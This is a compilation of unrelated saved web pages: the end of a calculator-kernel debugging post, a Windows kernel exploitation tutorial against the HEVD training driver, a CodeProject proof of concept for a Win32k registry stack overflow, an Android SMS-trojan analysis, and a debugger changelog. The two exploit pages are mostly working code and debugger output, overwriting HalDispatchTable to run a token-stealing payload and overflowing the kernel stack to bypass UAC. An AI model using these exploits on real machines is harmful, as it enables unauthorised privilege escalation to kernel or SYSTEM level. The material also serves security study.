pressed\), but for special keys, it would do the appropriate action for you.
For example, if you pressed the F5 key, it would suspend the current thread
and launch the thread list. This is the mechanism with which most applications
transfer control out of their own thread and into the thread list.

Eager that I had found the source of the issue, I placed a breakpoint nearby.
That same issue from before struck again - the bug vanished when the
breakpoint was set. I tried a more creative approach: instead of using a
proper breakpoint, I asked the emulator to halt whenever that address was
written to. Even still - the bug hid itself whenever this happened.

I decided to dive into the kernel’s getKey function. Here’s the start of the
function, as it appeared at the time:

[code]

    getKey:
        call hasKeypadLock
        jr _
        xor a
        ret
    _:  push bc
    ; ...
[/code]

I started going through this code line-by-line, trying to see if there was
anything here that could concievably touch the thread table. I noticed a minor
error here, and corrected it without thinking:

[code]

    getKey:
        call hasKeypadLock
        jr z, _
        xor a
        ret
    _:  push bc
    ; ...
[/code]

The simple error I had corrected: getKey was pressing forward, even when the
current thread didn’t have control of the keyboard hardware. This was a silly
error - only two characters were omitted.

A moment after I fixed that issue, the answer set in - this was the source of
the entire problem. Confirming it, I booted up the emulator with this change
applied and the bug was indeed resolved.

Can you guess what happened here? Here’s the other piece of the puzzle to help
you out, translated more or less into C for readability:

[code]

    int applibGetKey() {
        int key = getKey();
        if (key == KEY_F5) {
            launch_threadlist();
            suspend_thread();
        }
        return key;
    }
[/code]

Two more details you might not have picked up on:

  * applibGetKey is non-blocking
  * suspend\_thread suspends the current thread immediately, so it doesn’t return until the thread resumes.

### The bug, uncovered

Here’s what actually happened. For most threads \(the suspendable kind\), that
thread stops processing when `suspend_thread()` is called. The usually non-
blocking applibGetKey function blocks until the thread is resumed in this
scenario. However, the counting demo was _non-suspendable_. The
suspend\_thread function has no effect, by design. So, suspend\_thread did not
block, and the keypress was returned straight away. By this point, the thread
list had launched properly and it was given control of the keyboard.

However, the counting demo went back into its main loop, and started calling
applibGetKey again. Since the average user’s finger remained pressed against
the button for a few moments more, applibGetKey _continued to launch the
thread list, over and over_. The thread list itself is a special thread, and
it doesn’t actually have a user-friendly name. It was designed to ignore
itself when it drew the active threads. However, it was _not_ designed to
ignore other instances of itself, the reason being that there would never be
two of them running at once. When attempting to draw these other instances,
the thread list started rendering text that wasn’t there, causing the
corruption.

This bug vanished whenever I set a breakpoint because it would halt the
system’s keyboard processing logic. I lifted my finger from the key before
allowing it to move on.

The solution was to make the kernel’s getKey function respect hardware locks
by fixing that simple, two-character typo. That way, the counting demo, which
had no right to know what keys were being pressed, would not know that they
key was still being pressed.

The debugging described by this blog post took approximately three weeks.

  

# MortenSchenk/BHUSA2017

**Created:**| _9/4/2017 9:50:11 AM_  
---|---  
**Updated:**| _9/4/2017 9:50:11 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# BHUSA2017

Content from presentation at BHUSA 2017

  

# abatchy's blog | \[Kernel Exploitation\] 7: Arbitrary Overwrite \(Win7 x86\)
**Created:**| _3/7/2018 8:45:00 AM_  
---|---  
**Updated:**| _3/7/2018 8:45:00 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

Wednesday, January 24, 2018

  * Kernel Exploitation

# \[Kernel Exploitation\] 7: Arbitrary Overwrite \(Win7 x86\)

_Exploit code can be foundhere._

_Walkthroughs for Win 10 x64 in a future post._

* * *
### 1\. The vulnerability

Link to code here.

[code]

    NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
        PULONG_PTR What = NULL;
        PULONG_PTR Where = NULL;
        NTSTATUS Status = STATUS_SUCCESS;
    
        PAGED_CODE();
    
        __try {
            // Verify if the buffer resides in user mode
            ProbeForRead((PVOID)UserWriteWhatWhere,
                         sizeof(WRITE_WHAT_WHERE),
                         (ULONG)__alignof(WRITE_WHAT_WHERE));
    
            What = UserWriteWhatWhere->What;
            Where = UserWriteWhatWhere->Where;
    
            DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
            DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
            DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
            DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
    
    #ifdef SECURE
            // Secure Note: This is secure because the developer is properly validating if address
            // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
            // routine before performing the write operation
            ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
            ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
    
            *(Where) = *(What);
    #else
            DbgPrint("[+] Triggering Arbitrary Overwrite\n");
    
            // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
            // because the developer is writing the value pointed by 'What' to memory location
            // pointed by 'Where' without properly validating if the values pointed by 'Where'
            // and 'What' resides in User mode
            *(Where) = *(What);
    #endif
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            Status = GetExceptionCode();
            DbgPrint("[-] Exception Code: 0x%X\n", Status);
        }
    
        return Status;
    }
    
[/code]

The vulnerability is obvious, `TriggerArbitraryOverwrite` allows overwriting a
controlled value at a controlled address. This is very powerful, but can you
come up with a way to exploit this without having another vulnerability?

Let’s consider some scenarios \(that won’t work but are worth thinking
about\):

  1. Overwrite a return address:   
Needs an infoleak to reveal the stack layout or a read primitive.

  2. Overwriting the process token with a SYSTEM one:  
Need to know the `EPROCESS` address of the SYSTEM process.

  3. Overwrite a function pointer called with kernel privileges:  
Now that’s a good one, an excellent documentation on a reliable \(11-years
old\!\) technique is Exploiting Common Flaws in Drivers.

* * *
#### hal.dll, HalDispatchTable and function pointers

`hal.dll` stands for Hardware Abstraction Layer, basically an interface to
interacting with hardware without worrying about hardware-specific details.
This allows Windows to be portable.

`HalDispatchTable` is a table containing function pointers to HAL routines.
Let’s examine it a bit with WinDBG.

[code]

    kd> dd HalDispatchTable     // Display double words at HalDispatchTable
    82970430  00000004 828348a2 828351b4 82afbad7
    82970440  00000000 828455ba 829bc507 82afb3d8
    82970450  82afb683 8291c959 8295d757 8295d757
    82970460  828346ce 82834f30 82811178 82833dce
    82970470  82afbaff 8291c98b 8291caa1 828350f6
    82970480  8291caa1 8281398c 8281b4f0 82892c8c
    82970490  82af8d7f 00000000 82892c9c 829b3c1c
    829704a0  00000000 82892cac 82af8f77 00000000
    
    kd> ln 828348a2 
    Browse module
    Set bu breakpoint
    
    (828348a2)   hal!HaliQuerySystemInformation   |  (82834ad0)   hal!HalpAcpiTimerInit
    Exact matches:
        hal!HaliQuerySystemInformation (<no parameter info>)
    
    kd> ln 828351b4
    Browse module
    Set bu breakpoint
    
    (828351b4)   hal!HalpSetSystemInformation   |  (82835234)   hal!HalpDpReplaceEnd
    Exact matches:
        hal!HalpSetSystemInformation (<no parameter info>)
    
[/code]

First entry at `HalDispatchTable` doesn’t seem to be populated but
`HalDispatchTable+4` points to `HaliQuerySystemInformation` and
`HalDispatchTable+8` points to `HalpSetSystemInformation`.

These locations are writable and we can calculate their exact location easily
\(more on that later\). `HaliQuerySystemInformation` is the lesser used one of
the two, so we can put the address of our shellcode at `HalDispatchTable+4`
and make a user-mode call that will end up calling this function.

`HaliQuerySystemInformation` is called by the undocumented
`NtQueryIntervalProfile` \(which according to the linked article is a “very
low demanded API”\), let’s take a look with WinDBG:

[code]

    kd> uf NtQueryIntervalProfile
    
    ...snip...
    
    nt!NtQueryIntervalProfile+0x6b:
    82b55ec2 call    nt!KeQueryIntervalProfile (82b12c97)
    
    ...snip...
    
    kd> uf nt!KeQueryIntervalProfile
    
    ...snip...
    
    nt!KeQueryIntervalProfile+0x14:
    82b12cab mov     dword ptr [ebp-10h],eax
    82b12cae lea     eax,[ebp-4]
    82b12cb1 push    eax
    82b12cb2 lea     eax,[ebp-10h]
    82b12cb5 push    eax
    82b12cb6 push    0Ch
    82b12cb8 push    1
    82b12cba call    dword ptr [nt!HalDispatchTable+0x4 (82970434)]
    82b12cc0 test    eax,eax
    82b12cc2 jl      nt!KeQueryIntervalProfile+0x38 (82b12ccf)  Branch
    
    ...snip...
    
    
[/code]

Function at `[nt!HalDispatchTable+0x4]` gets called at
`nt!KeQueryIntervalProfile+0x23` which we can trigger from user-mode.
Hopefully, we won’t run into any trouble overwriting that entry.

* * *
The exploit will do the following:

  1. Get `HalDispatchTable` location in the kernel.
  2. Overwrite `HalDispatchTable+4` with the address of our payload.
  3. Calculate the address of `NtQueryIntervalProfile` and call it.

* * *
### 2\. Getting the address of `HalDispatchTable`

`HalDispatchTable` exists in the kernel executive \(ntoskrnl or another
instance depending on the OS/processor\). To get its address we need to:

  1. Get kernel’s base address in kernel using `NtQuerySystemInformation`.
  2. Load kernel in usermode and get the offset to `HalDispatchTable`.
  3. Add the offset to kernel’s base address.

[code]

    SYSTEM_MODULE krnlInfo = *getNtoskrnlInfo();
    // Get kernel base address in kernelspace
    ULONG addr_ntoskrnl = (ULONG)krnlInfo.ImageBaseAddress;
    printf("[+] Found address to ntoskrnl.exe at 0x%x.\n", addr_ntoskrnl);
    
    // Load kernel in use in userspace to get the offset to HalDispatchTable
    // NOTE: DO NOT HARDCODE KERNEL MODULE NAME
    printf("[+] Kernel in use: %s.\n", krnlInfo.Name);
    char* krnl_name = strrchr((char*)krnlInfo.Name, '\\') + 1;
    HMODULE user_ntoskrnl = LoadLibraryEx(krnl_name, NULL,DONT_RESOLVE_DLL_REFERENCES);
    if(user_ntoskrnl == NULL)
    {
    	printf("[-] Failed to load kernel image.\n");
    	exit(-1);
    }
    
    printf("[+] Loaded kernel in usermode using LoadLibraryEx: 0x%x.\n",user_ntoskrnl);
    ULONG user_HalDispatchTable = (ULONG)GetProcAddress(user_ntoskrnl,"HalDispatchTable");
    if(user_HalDispatchTable == NULL)
    {
    	printf("[-] Failed to locate HalDispatchTable.\n");
    	exit(-1);
    }
    
    printf("[+] Found HalDispatchTable in usermode: 0x%x.\n",user_HalDispatchTable);
    
    // Calculate address of HalDispatchTable in kernelspace
    ULONG addr_HalDispatchTable = addr_ntoskrnl - (ULONG)user_ntoskrnl +user_HalDispatchTable;
    printf("[+] Found address to HalDispatchTable at 0x%x.\n",addr_HalDispatchTable);
    
[/code]

* * *
### 3\. Overwriting `HalDispatchTable+4`

To do this, we just need to submit a buffer that gets cast to
`WRITE_WHAT_WHERE`. Basically two pointers, one for `What` and another for
`Where`.

[code]

    typedef struct _WRITE_WHAT_WHERE {
            PULONG_PTR What;
            PULONG_PTR Where;
    } WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
    
[/code]

Notice that these are pointers.

[code]

    ULONG What = (ULONG)&StealToken;
    *uBuffer = (ULONG)&What;
    *(uBuffer + 1) = (addr_HalDispatchTable + 4);
    
    DWORD bytesRet;
    DeviceIoControl(
    		driver,
    		HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
    		uBuffer,
    		SIZE,
    		NULL,
    		0,
    		&bytesRet,
    		NULL);
    
[/code]

* * *
Now let’s test what we have. Put breakpoint right before the exploit gets
triggered.

[code]

    kd> bu HEVD!TriggerArbitraryOverwrite  0x61
    
    kd> g
    [+] UserWriteWhatWhere: 0x000E0000
    [+] WRITE_WHAT_WHERE Size: 0x8
    [+] UserWriteWhatWhere->What: 0x0025FF38
    [+] UserWriteWhatWhere->Where: 0x82966434
    [+] Triggering Arbitrary Overwrite
    Breakpoint 2 hit
    HEVD!TriggerArbitraryOverwrite+0x61:
    93d71b69 mov     eax,dword ptr [edi]
    
[/code]

Next’ let’s validate the data.

[code]

    kd> dd 0x0025FF38
    0025ff38  00f012d8 bae57df8 0025ff88 00f014d9
    0025ff48  00000001 002a06a8 0029e288 bae57d30
    0025ff58  00000000 00000000 7ffdc000 2c407500
    0025ff68  00000001 00769cbf 0025ff54 96a5085a
    0025ff78  0025ffc4 00f01c7b ba30aa60 00000000
    0025ff88  0025ff94 75ebee1c 7ffdc000 0025ffd4
    0025ff98  77b23ab3 7ffdc000 779af1ec 00000000
    0025ffa8  00000000 7ffdc000 00000000 00000000
    kd> ln 00f012d8 
    Browse module
    Set bu breakpoint
    
     [C:\Users\abatchy\source\repos\HEVD\HEVD\shell32.asm @ 6] (00f012d8)   HEVD_f00000!StealToken   |  (00f01312)   HEVD_f00000!__security_check_cookie
    Exact matches:
        HEVD_f00000!StealToken (void)
    
[/code]

Ok good, we passed a pointer to the payload as expected. Let’s verify the
“where” part.

[code]

    kd> ln 0x82966434
    Browse module
    Set bu breakpoint
    
    (82966430)   nt!HalDispatchTable+0x4   |  (8296648c)   nt!BuiltinCallbackReg
    
[/code]

`Where` points to `nt!HalDispatchTable+0x4` as expected, cool.

[code]

    kd> p
    HEVD!TriggerArbitraryOverwrite+0x63:
    93d71b6b mov     dword ptr [ebx],eax
    kd> p
    HEVD!TriggerArbitraryOverwrite+0x65:
    93d71b6d jmp     HEVD!TriggerArbitraryOverwrite+0x8b (93d71b93)
    kd> dd HalDispatchTable
    0052c430  00000004 006b7aaf 006b7ac3 006b7ad7
    0052c440  00000000 004015ba 00578507 006b73d8
    0052c450  006b7683 004d8959 00519757 00519757
    0052c460  004d8966 004d8977 00000000 006b8de7
    0052c470  006b7aff 004d898b 004d8aa1 006b7b11
    0052c480  004d8aa1 00000000 00000000 0044ec8c
    0052c490  006b4d7f 00000000 0044ec9c 0056fc1c
    0052c4a0  00000000 0044ecac 006b4f77 00000000
    
[/code]

* * *
### 4\. Triggering the payload

Like explained earlier, we need to call `NtQueryIntervalProfile` which address
can be resolved from `ntdll.dll`.

[code]

    // Trigger the payload by calling NtQueryIntervalProfile()
    HMODULE ntdll = GetModuleHandle("ntdll");
    PtrNtQueryIntervalProfile _NtQueryIntervalProfile =(PtrNtQueryIntervalProfile)GetProcAddress(ntdll,"NtQueryIntervalProfile");
    if (_NtQueryIntervalProfile == NULL)
    {
    	printf("[-] Failed to get address of NtQueryIntervalProfile.\n");
    	exit(-1);
    }
    ULONG whatever;
    _NtQueryIntervalProfile(2, &whatever);
    
[/code]

<img src='img/13131_kernel7.png' width='579' height='293' alt='snip' />

* * *
Full code to exploit here.

\- Abatchy

  * __ __
  * __ __
  * __ __
  * __ __

  * 0 comments
  * **abatchy17.github.io**
  * Login
  * 1

  *  Recommend
  * ⤤ Share
  * Sort by Best

<img src='img/13132_noavatar92.7b2fde640943965cc88df0cdee365907.png'
width='48' height='48' alt='Avatar' />

Start the discussion…

  

  * Attach

###### Log in with

  *   *   *   * 

######  or sign up with Disqus

?

### Disqus is a discussion network

  * Disqus never moderates or censors. The rules on this community are its own.
  * Don't be a jerk or do anything illegal. Everything is easier that way.

Read full terms and conditions

Be the first to comment.

  * Powered by Disqus
  *  _✉_ Subscribe _✔_
  *  _d_ Add Disqus to your site
  *  _🔒_ Privacy

<img src='' width='0' height='0' /><img src='' width='0' height='0' /><img
src='' width='0' height='0' /><img src='' width='0' height='0' />

<img src='' width='0' height='0' />

  

# Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject

**Created:**| _11/24/2010 5:38:01 PM_  
---|---  
**Updated:**| _11/24/2010 5:39:20 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security windows windows environment_  
  

# Bypassing UAC with User Privilege under Windows Vista/7

By **noobpwnftw** | 24 Nov 2010 | Unedited contribution
A Design Flaw in Windows Kernel API Leads to Security Breakdown

  * Download poc - 493.22 KB

## Introduction

I would like to present an exploit of an ambiguous parameter in Windows kernel
API that leads to buffer overflows under nearly every version of Microsoft
Windows, especially one that can be used as a backdoor to Windows user
privilege system as well as User Access Control.

The starring API would be `RtlQueryRegistryValues`, it meant to be used to
query multiple registry values by a query table, given the `EntryContext`
field as output buffer. There is a problem that this field can be either
treated as a `UNICODE_STRING` structure or a `ULONG` buffer length followed by
the actual buffer, and this is determined by the type of the registry key
being queried.

## Using the code

In this example, I found a registry key which can be manipulated with only
user rights, by changing its type to `REG_BINARY` overflows the kernel. When
`Win32k.sys->NtGdiEnableEudc` queries
`HKCU\EUDC\[Language]\SystemDefaultEUDCFont` registry value, it assumes that
the registry value is `REG_SZ`, so the buffer provided on stack is a
`UNICODE_STRING` structure, of which the first `ULONG` value in this structure
represents the length of the string buffer, but if the value in registry is
`REG_BINARY` type, it will be wrongly interpreted as the length of the given
buffer, thus overwrites the stack.

[code]

    .text:BF81BA91                 push    esi             ; Environment
    .text:BF81BA92                 push    esi             ; Context
    .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
    .text:BF81BA98                 push    edi             ; Path
    .text:BF81BA99                 lea     eax, [ebp+DestinationString]
    .text:BF81BA9C                 push    esi             ; RelativeTo
    .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
    .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
    .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
    .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
    .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
    .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
    .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
    .text:BF81BACE                 mov     dword_BFA198FC, esi
    .text:BF81BAD4                 mov     dword_BFA19900, esi
    .text:BF81BADA                 mov     dword_BFA19904, esi
    .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
    .text:BF81BAE6                 mov     [ebp+var_8], eax
    
    
[/code]

Stack trace shows the calling process is as follows:

`GDI32.EnableEUDC ->  
NtGdiEnableEudc ->  
GreEnableEUDC ->  
sub_BF81B3B4 ->  
sub_BF81BA0B ->  
RtlQueryRegistryValues` \(Overflow occurs\)

Given this we can design the registry value which will precisely overwrite the
return address of the calling function on stack, results in an arbitrary
buffer being executed in kernel mode. In my PoC the buffer contains a simple
kernel PE loader, which will eventually load a driver that will escalate
"cmd.exe” process privilege regardless of UAC.

[code]

    // Allocate buffer for the driver
    LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
    
    BYTE* pMem;            // shellcode
    DWORD ExpSize = 0;
    
    BYTE RegBuf[0x40] = {0};    // reg binary buffer
    
    pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pMem, Data, sizeof(Data));                // Copy shellcode 
    
    *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
    
    ExpSize = 0x28;
    
    
    
[/code]

The shellcode need some kernel APIs, we need to get their addresses from the
running kernel.

[code]

    // Get the running kernel file name
    HMODULE hDll = GetModuleHandle(L"ntdll.dll");
    pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
    PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
    ULONG AllocSize = 0;
    fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
    
    pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
    fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
    HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
    
    //Relocation to the running kernel base
    DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
    
    free(pModInfo);
    
    // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
    // so we need a valid pool address to avoid BSOD.
    
    if(vi.dwBuildNumber < 7600)    
    {
        FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
    
        HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
        PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
        AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
        fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
    
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
        fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
    
        for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
        {
            if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
            {
                *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
                break;
            }
        }
        free(pHandleInfo);
    }
    else
    {
        FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
    }
    
    // Now fills the API addresses needed
    FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
    FreeLibrary(hKernel);
    
    // Here we tell the shellcode(PE loader) where the driver buffer is.
    FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
    FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
    
    
    
[/code]

Finally, we set the registry value and call GDI32.EnableEUDC to fire the
exploit.

[code]

    UINT codepage = GetACP();
    TCHAR tmpstr[256];
    _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
    HKEY hKey;
    RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
    RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
    
    RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
    
    __try
    {
        EnableEUDC(TRUE);    
    }
    __except(1)
    {
    }
    RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
    RegCloseKey(hKey);
    
    
[/code]

## After running this PoC, just type "whoami" in command prompt to see the
escalated user credentials.

## Points of Interest

All actions this PoC performs require only user privilege, but result in
arbitrary kernel mode code execution due to the ambiguous design of
RtlQueryRegistryValues. This design flaw exists in most versions of Windows
kernels, yet no patch or documentation is publicly available on this issue.

## Additional Information

This PoC may not correctly fix the exploited kernel context and resume
execution without BSOD, such as on kernels ealier than 6.1.6000 are not
supported, current supported kernels are:  
Windows Vista/2008 6.1.6000 x32,  
Windows Vista/2008 6.1.6001 x32,  
Windows 7 6.2.7600 x32,  
Windows 7/2008 R2 6.2.7600 x64.  
Beyond this scope you may contact me for information on how to tune the code
to work correctly on your kernel or how the shellcode works, etc. Those
contents are beyond the scope of this article and of no importance to the
exploit, therefore it is not included.

## Contact

Me: nooby@safengine.com

## History

Initial release: 2010.11.24

## License

This article, along with any associated source code and files, is licensed
under The Code Project Open License \(CPOL\)

## About the Author

**noobpwnftw**  
---

# Android Zsone malware analysis « Malware Research

**Created:**| _5/15/2011 7:47:00 PM_  
---|---  
**Updated:**| _5/15/2011 7:47:00 PM_  
**Author:**| __  
**Tags:**| _Embedded Malware-analysis android_  
  

## Android Zsone malware analysis

By Dinesh Venkatesan

Earlier lastweek, it is found that a pack of malicious applications were taken
down shortly after being identified for maliciousness. In this blogpost, I am
presenting a quick analysis and payload of the sample.

There is nothing fancy about the payload. It is a typical SMSer Trojan.
However the interesting point is the Trojan is very cautious in not alerting
the user with a flood of SMS. It creates a bookkeeping information file \(a
XML file\) to keep track of the subscriptions.

Tracing the sample’s SMS sender module:

<img src='img/Temp2_805.jpg' width='450' height='233' alt='SMS sender module'
/>

SMS sender module

A look at the memory footprint:

<img src='img/Temp2_801.jpg' width='450' height='175' alt='memory footprint'
/>

memory footprint

As mentioned, the Trojan checks that the user is not already victimised before
sending the SMS. It does it by maintaining the state information in an XML
file.

<img src='img/Temp2_802.jpg' width='450' height='118' />‘

You can see that the iBookT.xml is the file that has the information about the
victim. Here is the snapshot of the content of the XML file.

<img src='img/Temp2_804.jpg' width='450' height='111' />

The value “Y” stands for already infected. This value is checked before
sending the SMS. The next snapshot shows the code that does this logical
checking.

The code snippet that implements the logic:

<img src='img/Temp2_806.jpg' width='450' height='109' />

Hope you have enjoyed the read. Cheers <img src='img/Temp2_803.jpg' alt=':)'
/>

* * *
**Possibly related posts: \(automatically generated\)**

  * First Trojan Hits Android Phones
  * Dev : Android Structure Analysis
  * Android’s market share expanding

# Defeating DEP, the Immunity Debugger way

**Created:**| _12/30/2009 11:12:53 PM_  
---|---  
**Updated:**| _12/30/2009 11:13:15 PM_  
**Author:**| __  
**Tags:**| _Exploit python programming_  
  
<img src='img/Temp2_2088' />

# zer0fl4g/Nanomite · GitHub

**Created:**| _3/12/2013 10:36:46 AM_  
---|---  
**Updated:**| _3/12/2013 10:36:46 AM_  
**Author:**| __  
**Tags:**| _Debugging windows_  
  

# Nanomite - Graphical Debugger for x64 and x86 on Windows

##  Changelog

###  Version 0.1 beta 7

  * fixed some small handling bugs
  * fixed a bug in disassembler which did not replace old protection on memory after disassembling
  * fixed a bug which did not show terminated processes in DetailView
  * fixed a bug which did not show terminated threads in DetailView
  * fixed a bug which did not clean up memory on manual debugge stop
  * improved DB handler
  * added resolve of jump conditions to improve StepOver
  * added "Return" and "Backspace" Hotkey to navigate in Disassembler
  * added "Clear Log" context menu in LogBox
  * added "Show Source" context menu in Disassembler
  * added "Goto Function" context menu in Callstack
  * added a crash handler
  * added Source Viewer
  * added memory pool for performance improvment and memory leak reduction
  * added mouse scrolling in disassembler and stack
  * added direkt run of target after using menu to select a file

####  Notes:

[code]

    - CrashHandler
        - if Nanomite crashs a dumpfile will be written to the application folder. 
          Please send me this file via zer0fl4g[at]gmail[dot]com
    - Hotkey "Return"
        - when you selected a jump / call / ... you can follow this instruction using the "Return" key
    - Hotkey "Backspace"
        - steps back when you used "Return" to follow a call
    - Source Viewer 
        - double click on source line in Callstack view. A new Window will open and show the source code (if found)
        - right click in disassembler opens source view also
    - Memory Pool
        - redericted malloc / new / delete / free to the memory pool
        - heap fragmentation reduction
        - increasing performance
    
[/code]

###  Version 0.1 beta 6

  * fixed a crash in Step Over
  * fixed load of colors in option window
  * fixed a dead lock when using detach
  * fixed memory overhead in hexview
  * fixed a display issue of the time in log when the debugge finished
  * improved internal PEFile handling
  * added unload of symbols if a DLL gets unloaded during runtime
  * added some more instructions to syntax highlighter
  * added highlight of current EIP
  * added highlight of BPs
  * added possibility to remove BPs from BPManager
  * added auto completion for apis in BPManager
  * added DB Interface
  * added command line support

####  Notes:

[code]

    - BPManager
        -   Use the "DEL" Key to remove the entries from BPManager
        -   Type a module name and the box will propose you found apis that match your entry 
            e.g type "Ker" and the BPManager will show all imports of the processes found with Ker* -> Kernel32::*
    
[/code]

###  Version 0.1 beta 5

  * fixed missing registers in x64 RegView
  * improved entrypoint handling
  * improved the BPManager
  * added some hotkeys
  * added Step Over
  * added refill on mainwindow resize to match size
  * added RegEdit
  * added basic coloring

####  Notes:

[code]

    - Hotkeys:  STRG + O = open new file
                STRG + B = breakpoint manager
                STRG + F4 = stop debugging
                F12 = options
                F9 = start debugging / continue
                F8 = step over
                F7 = step in
                F2 = set software breakpoint on selected row (a row must be selected in Disassembler)
    
    - RegEdit:  Double click on the regview to open it
    - Colors:   Can be edited via Options Dialog (F12)
    
[/code]

###  Version 0.1 beta 4:

  * fixed different crashs in disassembler
  * fixed dependencies of cruntime
  * fixed the restart icon
  * fixed little bug in DetachFromProcess
  * improved speed and memory usage of disassembler
  * added a check for valid file
  * added a check for admin rights + warning
  * added right click menu in RegView \(send to Disassembler\)
  * added right click menu in Disassembler \(Goto Offset\) 
  * added possibility to resize and maximize the mainwindow
  * changed window style to Qt Plastique

####  Notes:

  * dependencies: 
    * For developers: You will need a QT Framework which has been compiled with /MT \( or /MTd\) else you have a dependencie of the cruntime even if qtNanomite has been compiled without. If you need help to compile your QT this way just drop me an Email / PM.
    * For all: I will place the needed QT Dlls into the repro and you shouldn´t need the cruntime to be installed anymore.

###  Version 0.1 beta 3:

  * fixed a bug which displayed crap on some x64 Addresses
  * fixed a crash in the Breakpoint Manager
